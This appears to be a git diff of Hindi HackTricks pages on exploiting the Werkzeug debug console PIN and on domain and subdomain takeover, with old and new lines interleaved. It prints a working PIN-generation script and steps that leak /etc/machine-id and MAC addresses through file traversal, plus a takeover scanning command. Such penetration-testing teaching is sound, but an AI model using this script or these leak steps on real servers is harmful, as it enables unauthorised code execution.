कुछ मौकों पर **`/console`** एंडपॉइंट को पिन द्वारा सुरक्षित किया जाएगा। यदि आपके पास **फ़ाइल भ्रमण दोष** है, तो आप सभी आवश्यक जानकारी लीक कर सकते हैं ताकि वह पिन उत्पन्न कर सके।
|
||||
|
||||
### Werkzeug कंसोल PIN एक्सप्लॉइट
|
||||
### Werkzeug कंसोल पिन एक्सप्लॉइट
|
||||
|
||||
**पहले लिंक से कॉपी किया गया।**\
|
||||
ऐप में डीबग त्रुटि पृष्ठ को मजबूर करके Werkzeug "कंसोल लॉक्ड" संदेश देखें।
|
||||
ऐप में एक डीबग त्रुटि पृष्ठ को देखने के लिए एक डीबग त्रुटि पृष्ठ को बलपूर्वक बनाएं:
|
||||
```
|
||||
The console is locked and needs to be unlocked by entering the PIN.
|
||||
You can find the PIN printed out on the standard output of your
|
||||
shell that runs the server
|
||||
```
|
||||
कमजोर Werkzeug डीबग कंसोल को पथ `vulnerable-site.com/console` पर खोजें, लेकिन यह गुप्त PIN नंबर द्वारा लॉक है।
|
||||
जब वर्कज़ूग के डीबग इंटरफेस तक पहुंचने का प्रयास किया जाता है, तो "कंसोल लॉक्ड" स्थिति के संदर्भ में एक संदेश प्राप्त होता है, जिसमें कंसोल को अनलॉक करने के लिए एक पिन की आवश्यकता होती है। कंसोल पिन का शोध करने के लिए सुझाव दिया जाता है वर्कज़ूग के डीबग प्रारंभीकरण फ़ाइल (`__init__.py`) में पिन जनरेशन एल्गोरिदम का विश्लेषण करके। पिन जनरेशन तंत्र को [**वर्कज़ूग स्रोत कोड भंडार**](https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/\_\_init\_\_.py) से अध्ययन किया जा सकता है, हालांकि संभावित संस्करण विसंगतियों के कारण वास्तविक सर्वर कोड प्राप्त करने की सलाह दी जाती है।
|
||||
|
||||
आप कंसोल PIN उत्पन्न करने वाले एल्गोरिदम को उलट सकते हैं। सर्वर पर Werkzeug की डीबग `__init__.py` फाइल की जांच करें, उदाहरण के लिए `python3.5/site-packages/werkzeug/debug/__init__.py`। आप [**Werkzeug सोर्स कोड रेपो**](https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/\_\_init\_\_.py) **को देख सकते हैं कि PIN कैसे उत्पन्न किया जाता है**, लेकिन संस्करणों में अंतर होने की संभावना है, इसलिए **फाइल ट्रैवर्सल वल्नरेबिलिटी** के माध्यम से सोर्स कोड को लीक करना बेहतर है।
|
||||
कंसोल पिन का शोध करने के लिए, दो सेट के चर `probably_public_bits` और `private_bits` की आवश्यकता होती है:
|
||||
|
||||
कंसोल PIN का शोषण करने के लिए आवश्यक वेरिएबल:
|
||||
```python
|
||||
probably_public_bits = [
|
||||
username,
|
||||
modname,
|
||||
getattr(app, '__name__', getattr(app.__class__, '__name__')),
|
||||
getattr(mod, '__file__', None),
|
||||
]
|
||||
|
||||
private_bits = [
|
||||
str(uuid.getnode()),
|
||||
get_machine_id(),
|
||||
]
|
||||
```
|
||||
#### **`probably_public_bits`**
|
||||
- **`username`**: वह उपयोगकर्ता है जिसने फ्लास्क सत्र प्रारंभ किया।
|
||||
- **`modname`**: सामान्यत: `flask.app` के रूप में निर्धारित किया जाता है।
|
||||
- **`getattr(app, '__name__', getattr(app.__class__, '__name__'))`**: सामान्यत: **Flask** को हल करता है।
|
||||
- **`getattr(mod, '__file__', None)`**: फ्लास्क निर्देशिका में `app.py` का पूरा पथ प्रस्तुत करता है (उदाहरण के लिए, `/usr/local/lib/python3.5/dist-packages/flask/app.py`)। यदि `app.py` लागू नहीं है, **`app.pyc` को प्रयास करें**।
|
||||
|
||||
* **`username`** वह उपयोगकर्ता है जिसने यह Flask शुरू किया
|
||||
* **`modname`** है flask.app
|
||||
* `getattr(app, '__name__', getattr (app .__ class__, '__name__'))` है **Flask**
|
||||
* `getattr(mod, '__file__', None)` है **`app.py` का संपूर्ण पथ** flask डायरेक्टरी में (उदाहरण के लिए `/usr/local/lib/python3.5/dist-packages/flask/app.py`). अगर `app.py` काम नहीं करता, **तो `app.pyc` का प्रयास करें**
|
||||
|
||||
#### `private_bits`
|
||||
|
||||
* `uuid.getnode()` वर्तमान कंप्यूटर का **MAC पता** है, `str(uuid.getnode())` MAC पते का दशमलव अभिव्यक्ति है।
|
||||
|
||||
* **सर्वर MAC पता खोजने के लिए**, जानना आवश्यक है कि कौन सा **नेटवर्क इंटरफेस** ऐप को सेवा दे रहा है (उदाहरण के लिए `ens3`). अगर अज्ञात है, **तो `/proc/net/arp` को लीक करें** डिवाइस ID के लिए और फिर **लीक** MAC पता **`/sys/class/net/<device id>/address`** पर।
|
||||
|
||||
**हेक्स पते से दशमलव** प्रतिनिधित्व में परिवर्तित करने के लिए python में निम्नलिखित चलाएं:
|
||||
|
||||
#### **`private_bits`**
|
||||
- **`uuid.getnode()`**: वर्तमान मशीन का MAC पता प्राप्त करता है, जिसे `str(uuid.getnode())` इसे दशमलव प्रारूप में अनुवादित करता है।
|
||||
- **सर्वर का MAC पता लगाने** के लिए, व्यक्तिगत नेटवर्क इंटरफेस को पहचानना आवश्यक है जिसे ऐप्लिकेशन द्वारा उपयोग किया जाता है (उदाहरण के लिए, `ens3`)। संदेह के मामले में, **`/proc/net/arp` को लीक करें** डिवाइस आईडी खोजने के लिए, फिर **`/sys/class/net/<device id>/address`** से MAC पता निकालें।
|
||||
- एक हेक्साडेसिमल MAC पते को दशमलव में रूपांतरित करने के लिए निम्नलिखित प्रक्रिया की जा सकती है:
|
||||
```python
|
||||
# यह 56:00:02:7a:23:ac था
|
||||
# उदाहरण MAC पता: 56:00:02:7a:23:ac
|
||||
>>> print(0x5600027a23ac)
|
||||
94558041547692
|
||||
```
|
||||
* `get_machine_id()` **`/etc/machine-id`** या **`/proc/sys/kernel/random/boot_id`** में मूल्यों को संयोजित करता है **पहली पंक्ति के साथ `/proc/self/cgroup`** के बाद अंतिम स्लैश (`/`).
|
||||
- **`get_machine_id()`**: `/etc/machine-id` या `/proc/sys/kernel/random/boot_id` से डेटा को जोड़ता है और `/proc/self/cgroup` की पिछली स्लैश (`/`) के बाद की पहली पंक्ति से।
|
||||
|
||||
<details>
|
||||
|
||||
<summary>get_machine_id() कोड</summary>
|
||||
<summary>`get_machine_id()` के लिए कोड</summary>
|
||||
```python
|
||||
def get_machine_id() -> t.Optional[t.Union[str, bytes]]:
|
||||
global _machine_id
|
||||
|
@ -101,25 +102,25 @@ return linux
|
|||
# On OS X, use ioreg to get the computer's serial number.
|
||||
try:
|
||||
```
|
||||
<details>
|
||||
</details>
|
||||
|
||||
एक बार सभी चर तैयार हो जाने के बाद, Werkzeug कंसोल PIN उत्पन्न करने के लिए एक्सप्लॉइट स्क्रिप्ट चलाएं:
|
||||
सभी आवश्यक डेटा को संग्रहित करने के बाद, एक्सप्लॉइट स्क्रिप्ट को निष्पादित किया जा सकता है ताकि Werkzeug कंसोल PIN उत्पन्न किया जा सके। स्क्रिप्ट निर्मित `probably_public_bits` और `private_bits` का उपयोग करता है ताकि एक हैश बनाया जा सके, जिसे फिर आगे की प्रक्रिया के लिए प्रसंस्करण किया जाता है ताकि अंतिम PIN उत्पन्न किया जा सके। नीचे दिया गया है Python कोड इस प्रक्रिया को निष्पादित करने के लिए:
|
||||
```python
|
||||
import hashlib
|
||||
from itertools import chain
|
||||
probably_public_bits = [
|
||||
'web3_user',# username
|
||||
'flask.app',# modname
|
||||
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
|
||||
'/usr/local/lib/python3.5/dist-packages/flask/app.py' # getattr(mod, '__file__', None),
|
||||
'web3_user', # username
|
||||
'flask.app', # modname
|
||||
'Flask', # getattr(app, '__name__', getattr(app.__class__, '__name__'))
|
||||
'/usr/local/lib/python3.5/dist-packages/flask/app.py' # getattr(mod, '__file__', None),
|
||||
]
|
||||
|
||||
private_bits = [
|
||||
'279275995014060',# str(uuid.getnode()), /sys/class/net/ens33/address
|
||||
'd4e6cb65d59544f3331ea0425dc555a1'# get_machine_id(), /etc/machine-id
|
||||
'279275995014060', # str(uuid.getnode()), /sys/class/net/ens33/address
|
||||
'd4e6cb65d59544f3331ea0425dc555a1' # get_machine_id(), /etc/machine-id
|
||||
]
|
||||
|
||||
#h = hashlib.md5() # Changed in https://werkzeug.palletsprojects.com/en/2.2.x/changes/#version-2-0-0
|
||||
# h = hashlib.md5() # Changed in https://werkzeug.palletsprojects.com/en/2.2.x/changes/#version-2-0-0
|
||||
h = hashlib.sha1()
|
||||
for bit in chain(probably_public_bits, private_bits):
|
||||
if not bit:
|
||||
|
@ -128,7 +129,7 @@ if isinstance(bit, str):
|
|||
bit = bit.encode('utf-8')
|
||||
h.update(bit)
|
||||
h.update(b'cookiesalt')
|
||||
#h.update(b'shittysalt')
|
||||
# h.update(b'shittysalt')
|
||||
|
||||
cookie_name = '__wzd' + h.hexdigest()[:20]
|
||||
|
||||
|
@ -137,7 +138,7 @@ if num is None:
|
|||
h.update(b'pinsalt')
|
||||
num = ('%09d' % int(h.hexdigest(), 16))[:9]
|
||||
|
||||
rv =None
|
||||
rv = None
|
||||
if rv is None:
|
||||
for group_size in 5, 4, 3:
|
||||
if len(num) % group_size == 0:
|
||||
|
@ -149,8 +150,10 @@ rv = num
|
|||
|
||||
print(rv)
|
||||
```
|
||||
यह स्क्रिप्ट PIN उत्पन्न करता है जिसे बिट्स को कंकटनेट करके हैश करके, विशेष साल्ट्स (`cookiesalt` और `pinsalt` जोड़कर), और आउटपुट को फॉर्मेट करके। यह महत्वपूर्ण है कि `probably_public_bits` और `private_bits` के वास्तविक मान लक्ष्यित सिस्टम से सही ढंग से प्राप्त किए जाएं ताकि वर्कज़ूग कंसोल द्वारा अपेक्षित PIN के साथ मेल खाता है।
|
||||
|
||||
{% hint style="success" %}
|
||||
यदि आप **पुराने संस्करण** के Werkzeug पर हैं, तो **hashing algorithm को md5 में बदलने का प्रयास करें** sha1 के बजाय।
|
||||
यदि आप **वर्कज़ूग के पुराने संस्करण** पर हैं, तो **sha1** की बजाय **md5 हैशिंग एल्गोरिदम** को बदलने का प्रयास करें।
|
||||
{% endhint %}
|
||||
|
||||
## संदर्भ
|
||||
|
@ -160,20 +163,20 @@ print(rv)
|
|||
|
||||
<figure><img src="/.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**तत्काल उपलब्ध सेटअप भेद्यता मूल्यांकन और पेंटेस्टिंग के लिए**। कहीं से भी पूर्ण पेंटेस्ट चलाएं 20+ उपकरणों और सुविधाओं के साथ जो recon से लेकर reporting तक जाते हैं। हम पेंटेस्टर्स की जगह नहीं लेते - हम उन्हें और गहराई से खोजने, pop shells, और मज़े करने के लिए कुछ समय वापस देने के लिए कस्टम उपकरण, डिटेक्शन और एक्सप्लॉइटेशन मॉड्यूल विकसित करते हैं।
|
||||
**सुरक्षा मूल्यांकन और पेनेट्रेशन टेस्टिंग के लिए तत्काल उपलब्ध सेटअप**। 20+ टूल्स और सुविधाओं के साथ पूर्ण पेनटेस्ट को कहीं से भी चलाएं जो पुनरीक्षण से रिपोर्टिंग तक जाते हैं। हम पेनटेस्टर्स को बदलने नहीं देते हैं - हम उन्हें वापस कुछ समय देने के लिए कस्टम टूल्स, पता लगाने और शोषण मॉड्यूल विकसित करते हैं ताकि वे गहराई में खोज कर सकें, शैल्स पॉप कर सकें, और मज़ा कर सकें।
|
||||
|
||||
{% embed url="https://pentest-tools.com/" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert) के साथ AWS हैकिंग सीखें शून्य से नायक तक</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>जीरो से हीरो तक AWS हैकिंग सीखें</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
||||
|
||||
HackTricks का समर्थन करने के अन्य तरीके:
|
||||
|
||||
* यदि आप HackTricks में अपनी **कंपनी का विज्ञापन देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* [**आधिकारिक PEASS & HackTricks स्वैग प्राप्त करें**](https://peass.creator-spring.com)
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा एक्सक्लूसिव [**NFTs**](https://opensea.io/collection/the-peass-family) का संग्रह
|
||||
* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram group**](https://t.me/peass) या **Twitter** 🐦 पर मुझे **follow** करें [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **HackTricks** के [**github repos**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) में PRs सबमिट करके अपनी हैकिंग ट्रिक्स साझा करें।
|
||||
* यदि आप अपनी कंपनी की **विज्ञापनित करना चाहते हैं HackTricks** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या मुझे **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) **पर फॉलो** करें।
|
||||
* **हैकिंग ट्रिक्स साझा करें** हैकट्रिक्स और हैकट्रिक्स क्लाउड github रेपो में PR जमा करके।
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,42 +1,42 @@
|
|||
# डोमेन/सबडोमेन टेकओवर
|
||||
# डोमेन/सबडोमेन लेना
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS हैकिंग सीखें शून्य से लेकर हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
||||
|
||||
HackTricks का समर्थन करने के अन्य तरीके:
|
||||
|
||||
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें**, तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
|
||||
* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram group**](https://t.me/peass) में या **Twitter** पर 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) को **फॉलो करें**.
|
||||
* **अपनी हैकिंग ट्रिक्स साझा करें** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके.
|
||||
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
|
||||
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **मुझे** **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)** पर फॉलो** करें।
|
||||
* **हैकिंग ट्रिक्स साझा करें** द्वारा **पीआर जमा करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics\&utm_medium=banner\&utm_source=hacktricks) का उपयोग करके दुनिया के **सबसे उन्नत** समुदाय उपकरणों द्वारा संचालित **वर्कफ्लो को आसानी से बनाएं और स्वचालित करें**.\
|
||||
आज ही एक्सेस प्राप्त करें:
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) का उपयोग करें और दुनिया के **सबसे उन्नत समुदाय उपकरणों** द्वारा संचालित **वर्कफ़्लो** को आसानी से बनाएं और स्वचालित करें।\
|
||||
आज ही पहुंच प्राप्त करें:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## डोमेन टेकओवर
|
||||
## डोमेन लेना
|
||||
|
||||
यदि आप किसी डोमेन (domain.tld) की खोज करते हैं जो **किसी सेवा द्वारा उपयोग में है जो स्कोप के अंदर है** लेकिन **कंपनी** ने इसका **मालिकाना हक** खो दिया है, तो आप इसे **रजिस्टर** करने की कोशिश कर सकते हैं (यदि पर्याप्त सस्ता हो) और कंपनी को सूचित कर सकते हैं। यदि यह डोमेन किसी **संवेदनशील जानकारी** को प्राप्त कर रहा है जैसे कि सत्र कुकी **GET** पैरामीटर के माध्यम से या **Referer** हेडर में, तो यह निश्चित रूप से एक **भेद्यता** है।
|
||||
यदि आपको कुछ डोमेन (domain.tld) मिलता है जो **किसी सेवा द्वारा उपयोग किया जा रहा है** लेकिन **कंपनी** ने इसकी **स्वामित्व** खो दिया है, तो आप इसे **रजिस्टर** करने का प्रयास कर सकते हैं (यदि पर्याप्त सस्ता है) और कंपनी को सूचित कर सकते हैं। यदि इस डोमेन के माध्यम से कोई **संवेदनशील जानकारी** प्राप्त हो रही है जैसे कि एक सत्र कुकी GET पैरामीटर या **Referer** हेडर के माध्यम से, तो यह निश्चित रूप से एक **कमजोरी** है।
|
||||
|
||||
### सबडोमेन टेकओवर
|
||||
### सबडोमेन लेना
|
||||
|
||||
कंपनी का एक सबडोमेन किसी **तृतीय-पक्ष सेवा की ओर इशारा कर रहा है जिसका नाम पंजीकृत नहीं है**। यदि आप इस **तृतीय-पक्ष सेवा** में एक **खाता बना** सकते हैं और उपयोग में आने वाले **नाम को पंजीकृत** कर सकते हैं, तो आप सबडोमेन टेकओवर कर सकते हैं।
|
||||
कंपनी का एक सबडोमेन एक **तीसरे पक्ष की सेवा की ओर प्वाइंट कर रहा है जिसका नाम रजिस्टर नहीं है**। यदि आप इस **तीसरे पक्ष की सेवा** में एक खाता बना सकते हैं और उपयोग में होने वाले नाम को **रजिस्टर** कर सकते हैं, तो आप सबडोमेन लेना कर सकते हैं।
|
||||
|
||||
संभावित टेकओवर्स की जांच के लिए कई उपकरण और शब्दकोश हैं:
|
||||
कई उपकरण हैं जिनमें शब्दकोश हैं जो संभावित लेने की जांच के लिए हैं:
|
||||
|
||||
* [https://github.com/EdOverflow/can-i-take-over-xyz](https://github.com/EdOverflow/can-i-take-over-xyz)
|
||||
* [https://github.com/blacklanternsecurity/bbot](https://github.com/blacklanternsecurity/bbot)
|
||||
* [https://github.com/punk-security/dnsReaper](https://github.com/punk-security/dnsReaper)
|
||||
* [https://github.com/haccer/subjack](https://github.com/haccer/subjack)
|
||||
* [https://github.com/anshumanbh/tko-subs](https://github.com/anshumanbh/tko-subs)
|
||||
* [https://github.com/anshumanbh/tko-sub](https://github.com/anshumanbh/tko-subs)
|
||||
* [https://github.com/ArifulProtik/sub-domain-takeover](https://github.com/ArifulProtik/sub-domain-takeover)
|
||||
* [https://github.com/SaadAhmedx/Subdomain-Takeover](https://github.com/SaadAhmedx/Subdomain-Takeover)
|
||||
* [https://github.com/Ice3man543/SubOver](https://github.com/Ice3man543/SubOver)
|
||||
|
@ -44,84 +44,66 @@ HackTricks का समर्थन करने के अन्य तरी
|
|||
* [https://github.com/antichown/subdomain-takeover](https://github.com/antichown/subdomain-takeover)
|
||||
* [https://github.com/musana/mx-takeover](https://github.com/musana/mx-takeover)
|
||||
|
||||
#### [BBOT](https://github.com/blacklanternsecurity/bbot) के साथ Hijackable सबडोमेन्स के लिए स्कैनिंग:
|
||||
#### [BBOT](https://github.com/blacklanternsecurity/bbot) के साथ हाइजैक करने योग्य सबडोमेन के लिए स्कैनिंग:
|
||||
|
||||
सबडोमेन टेकओवर जांच BBOT के डिफ़ॉल्ट सबडोमेन एन्यूमरेशन में शामिल हैं। सिग्नेचर सीधे [https://github.com/EdOverflow/can-i-take-over-xyz](https://github.com/EdOverflow/can-i-take-over-xyz) से लिए जाते हैं।
|
||||
सबडोमेन लेने की जांचें BBOT की डिफ़ॉल्ट सबडोमेन जांच में शामिल हैं। सिग्नेचर सीधे [https://github.com/EdOverflow/can-i-take-over-xyz](https://github.com/EdOverflow/can-i-take-over-xyz) से खींचे जाते हैं।
|
||||
```bash
|
||||
bbot -t evilcorp.com -f subdomain-enum
|
||||
```
|
||||
### DNS Wildcard के माध्यम से Subdomain Takeover जनरेशन
|
||||
### Subdomain Takeover Generation via DNS Wildcard
|
||||
|
||||
जब किसी डोमेन में DNS wildcard का उपयोग किया जाता है, तो उस डोमेन का कोई भी अनुरोधित subdomain जिसका अलग से पता स्पष्ट रूप से नहीं है, **एक ही जानकारी को हल करेगा**। यह A ip पता, CNAME हो सकता है...
|
||||
जब एक डोमेन में DNS वाइल्डकार्ड का उपयोग किया जाता है, तो उस डोमेन के किसी भी अनुरोधित सबडोमेन को जो विशेष रूप से अलग पता नहीं है, वह **एक ही जानकारी पर पहुंचाया जाएगा**। यह एक A आईपी पता, एक CNAME...
|
||||
|
||||
उदाहरण के लिए, अगर `*.testing.com` को `1.1.1.1` पर wilcarded किया गया है। तो, `not-existent.testing.com` `1.1.1.1` पर pointing होगा।
|
||||
उदाहरण के लिए, यदि `*.testing.com` को `1.1.1.1` पर वाइल्डकार्ड किया गया है। तो, `not-existent.testing.com` `1.1.1.1` की ओर प्वाइंट करेगा।
|
||||
|
||||
हालांकि, अगर IP पते की बजाय, sysadmin इसे **CNAME के माध्यम से एक तृतीय पक्ष सेवा पर point करता है**, जैसे कि **github subdomain** उदाहरण के लिए (`sohomdatta1.github.io`). एक हमलावर **अपना खुद का तृतीय पक्ष पेज बना सकता है** (इस मामले में Gihub में) और कह सकता है कि `something.testing.com` वहां pointing है। क्योंकि, **CNAME wildcard** सहमत होगा हमलावर **पीड़ित के डोमेन के लिए मनमाने subdomains जनरेट करने में सक्षम होगा जो उसके पेजों पर pointing करते हैं**।
|
||||
हालांकि, यदि एक आईपी पते की बजाय, सिसएडमिन इसे **तीसरी पक्ष की सेवा की ओर CNAME के माध्यम से पॉइंट** करता है, जैसे कि एक **गिथब सबडोमेन** उदाहरण के लिए (`sohomdatta1.github.io`)। एक हमलावर **अपना खुद का तीसरा पक्ष पृष्ठ बना सकता है** (इस मामले में गिथब में) और कह सकता है कि `something.testing.com` वहाँ पॉइंट कर रहा है। क्योंकि, **CNAME वाइल्डकार्ड** हमलावर से सहमत होगा तो हमलावर **विक्टिम के डोमेन के लिए अपने पृष्ठों पर पॉइंट करने के लिए विचारशील सबडोमेन उत्पन्न कर सकेगा**।
|
||||
|
||||
इस कमजोरी का एक उदाहरण आप CTF write-up में पा सकते हैं: [https://ctf.zeyu2001.com/2022/nitectf-2022/undocumented-js-api](https://ctf.zeyu2001.com/2022/nitectf-2022/undocumented-js-api)
|
||||
आप इस वंरूपता का उदाहरण CTF व्राइट-अप में देख सकते हैं: [https://ctf.zeyu2001.com/2022/nitectf-2022/undocumented-js-api](https://ctf.zeyu2001.com/2022/nitectf-2022/undocumented-js-api)
|
||||
|
||||
## Subdomain takeover का शोषण
|
||||
## Exploiting a subdomain takeover
|
||||
|
||||
**यह जानकारी** [**https://0xpatrik.com/subdomain-takeover/**](https://0xpatrik.com/subdomain-takeover/) **से कॉपी की गई थी**
|
||||
सबडोमेन टेकओवर मूल रूप से इंटरनेट पर एक विशेष डोमेन के लिए DNS स्पूफिंग है, जो हमलावरों को डोमेन के लिए ए रिकॉर्ड सेट करने की अनुमति देता है, जिससे ब्राउज़र्स हमलावर के सर्वर से सामग्री प्रदर्शित करें। इस **पारदर्शिता** में ब्राउज़र्स डोमेन को फिशिंग के लिए संवेदनशील बनाती हैं। हमलावर इस उद्देश्य के लिए [_त्रुटियुक्त बैठक_](https://en.wikipedia.org/wiki/Typosquatting) या [_डोपेलगेंगर डोमेन्स_](https://en.wikipedia.org/wiki/Doppelg%C3%A4nger) का उपयोग कर सकते हैं। विशेष रूप से उस समय डोमेन विकल्प हैं जहाँ फिशिंग ईमेल में URL विश्वसनीय प्रतीत होता है, उपयोगकर्ताओं को धोखा देता है और डोमेन के स्वाभाविक विश्वास के कारण स्पैम फ़िल्टर्स को टालता है।
|
||||
|
||||
हाल ही में, मैंने subdomain takeover के मूल बातों के बारे में [लिखा](https://0xpatrik.com/subdomain-takeover-basics/) था। हालांकि अब यह अवधारणा सामान्य रूप से समझी जा चुकी है, मैंने देखा कि लोग आमतौर पर subdomain takeover के जोखिमों को समझने में संघर्ष करते हैं। इस पोस्ट में, मैं गहराई से जाकर _subdomain takeover_ के सबसे उल्लेखनीय जोखिमों को मेरे दृष्टिकोण से कवर करता हूँ।
|
||||
इस [पोस्ट के लिए अधिक विवरण](https://0xpatrik.com/subdomain-takeover/) देखें
|
||||
|
||||
_नोट: कुछ जोखिमों को क्लाउड प्रदाता द्वारा स्वतः ही कम किया जाता है। उदाहरण के लिए, जब Amazon CloudFront पर subdomain takeover संभव है, तो आप SPF जांचों को बायपास करने के लिए TXT रिकॉर्ड सेट अप नहीं कर सकते। इसलिए, पोस्ट का उद्देश्य सामान्य subdomain takeover पर जोखिम प्रदान करना है। फिर भी, इनमें से अधिकांश क्लाउड प्रदाताओं पर भी लागू होते हैं।_
|
||||
### **SSL प्रमाणपत्र**
|
||||
यदि हमलावर द्वारा [_Let's Encrypt_](https://letsencrypt.org/) जैसी सेवाओं के माध्यम से जनरेट किए गए हैं, तो SSL प्रमाणपत्र इन नकली डोमेनों की विश्वसनीयता में योगदान करते हैं, जिससे फिशिंग हमले और विश्वसनीय बनते हैं।
|
||||
|
||||
### एक ब्राउज़र के लिए पारदर्शिता <a href="#transparencytoabrowser" id="transparencytoabrowser"></a>
|
||||
### **कुकी सुरक्षा और ब्राउज़र पारदर्शिता**
|
||||
ब्राउज़र पारदर्शिता कुकी सुरक्षा तक फैलती है, जिसे [समान-मूल नीति](https://en.wikipedia.org/wiki/Same-origin_policy) जैसी नीतियाँ नियंत्रित करती हैं। कुकीज़, अक्सर सत्र प्रबंधित करने और लॉगिन टोकन स्टोर करने के लिए उपयोग की जाती हैं, सबडोमेन टेकओवर के माध्यम से उत्पन्न किए जा सकते हैं। हमलावर सीधे उपयोगकर्ताओं को कंप्रोमाइज़ सबडोमेन पर निर्देशित करके सत्र कुकीज़ एकत्र कर सकते हैं, उपयोगकर्ता डेटा और गोपनीयता को खतरे में डालते हुए।
|
||||
|
||||
शुरू करने के लिए, आइए DNS रिज़ॉल्यूशन पर नज़र डालें जहां CNAME शामिल है:
|
||||
### **ईमेल और सबडोमेन टेकओवर**
|
||||
सबडोमेन टेकओवर का एक और पहलू ईमेल सेवाओं से जुड़ा है। हमलावर एक विश्वसनीय सबडोमेन से ईमेल प्राप्त करने या भेजने के लिए **MX रिकॉर्ड्स** को बदल सकते हैं, जिससे फिशिंग हमलों की प्रभावकारिता बढ़ जाती है।
|
||||
|
||||
![DNS resolution](https://0xpatrik.com/content/images/2018/05/resolution-2.png)
|
||||
### **उच्च-क्रम जोखिम**
|
||||
और जोखिमों में **NS रिकॉर्ड टेकओवर** शामिल है। यदि हमलावर किसी डोमेन के एक NS रिकॉर्ड पर नियंत्रण प्राप्त करता है, तो वह अपने नियंत्रण में एक सर्वर की ओर भाग का निर्देश कर सकता है। यह जोखिम बढ़ जाता है अगर हमलावर DNS रिकॉर्ड्स के लिए उच्च **TTL (जीवन का समय)** सेट करता है, जिससे हमले की अवधि बढ़ जाती है।
|
||||
|
||||
